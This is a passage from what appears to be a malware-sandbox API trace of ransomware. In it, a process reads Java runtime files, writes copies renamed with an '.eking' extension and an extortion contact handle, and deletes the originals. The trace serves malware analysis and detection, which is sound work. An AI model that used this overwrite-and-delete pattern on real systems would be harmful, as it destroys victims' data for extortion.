files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0243.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0243.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0243.240] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0243.240] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0243.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0243.242] ReadFile (in: hFile=0x364, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xaa77c, lpOverlapped=0x0) returned 1 [0243.577] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xaa780, lpOverlapped=0x0) returned 1 [0243.594] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0243.594] CloseHandle (hObject=0x364) returned 1 [0243.594] CloseHandle (hObject=0x388) returned 1 [0243.823] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0 [0243.824] SetEvent (hEvent=0x2b8) returned 1 [0243.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.825] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=234068) returned 1 [0243.825] CloseHandle (hObject=0x388) returned 1 [0243.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0243.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0243.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0243.826] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0243.836] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0243.837] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0243.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0243.838] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x39254, lpOverlapped=0x0) returned 1 [0243.873] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x39260, lpOverlapped=0x0) returned 1 [0243.881] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0243.882] CloseHandle (hObject=0x388) returned 1 [0243.882] CloseHandle (hObject=0x358) returned 1 [0243.890] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0 [0243.891] SetEvent (hEvent=0x2b8) returned 1 [0243.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0243.892] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=242700) returned 1 [0243.892] CloseHandle (hObject=0x358) returned 1 [0244.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0244.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0244.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0244.053] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.053] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0244.054] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3b40c, lpOverlapped=0x0) returned 1 [0244.091] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3b410, lpOverlapped=0x0) returned 1 [0244.097] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x112, lpOverlapped=0x0) returned 1 [0244.097] CloseHandle (hObject=0x358) returned 1 [0244.098] CloseHandle (hObject=0x374) returned 1 [0244.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0 [0244.104] SetEvent (hEvent=0x2b8) returned 1 [0244.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0244.106] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=13962) returned 1 [0244.106] CloseHandle (hObject=0x374) returned 1 [0244.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0244.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0244.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0244.107] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.107] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0244.168] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x368a, lpOverlapped=0x0) returned 1 [0244.351] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3690, lpOverlapped=0x0) returned 1 [0244.353] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x122, lpOverlapped=0x0) returned 1 [0244.353] CloseHandle (hObject=0x374) returned 1 [0244.355] CloseHandle (hObject=0x358) returned 1 [0244.358] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0 [0244.358] SetEvent (hEvent=0x2b8) returned 1 [0244.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0244.363] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1280) returned 1 [0244.363] CloseHandle (hObject=0x358) returned 1 [0244.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0244.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20 [0244.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0244.364] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.364] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.364] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x340 [0244.371] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x500, lpOverlapped=0x0) returned 1 [0244.381] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x510, lpOverlapped=0x0) returned 1 [0244.382] WriteFile (in: hFile=0x340, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0244.383] CloseHandle (hObject=0x358) returned 1 [0244.383] CloseHandle (hObject=0x340) returned 1 [0244.387] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0 [0244.388] SetEvent (hEvent=0x2b8) returned 1 [0244.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0244.389] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=153) returned 1 [0244.389] CloseHandle (hObject=0x340) returned 1 [0244.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0244.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0244.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0244.390] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.391] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0244.393] ReadFile (in: hFile=0x340, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x99, lpOverlapped=0x0) returned 1 [0244.394] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa0, lpOverlapped=0x0) returned 1 [0244.396] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0244.396] CloseHandle (hObject=0x340) returned 1 [0244.682] CloseHandle (hObject=0x358) returned 1 [0244.692] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0 [0244.693] SetEvent (hEvent=0x2b8) returned 1 [0244.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0244.697] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=165) returned 1 [0244.697] CloseHandle (hObject=0x358) returned 1 [0244.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0244.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0244.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0244.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0244.699] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.699] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0244.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x374 [0244.703] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa5, lpOverlapped=0x0) returned 1 [0244.705] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xb0, lpOverlapped=0x0) returned 1 [0244.707] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0244.708] CloseHandle (hObject=0x358) returned 1 [0244.708] CloseHandle (hObject=0x374) returned 1 [0244.709] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0 [0244.710] SetEvent (hEvent=0x2b8) returned 1 [0244.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0244.712] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=153) returned 1 [0244.712] CloseHandle (hObject=0x374) returned 1 [0244.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0244.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif")) returned 0x20 [0244.713] 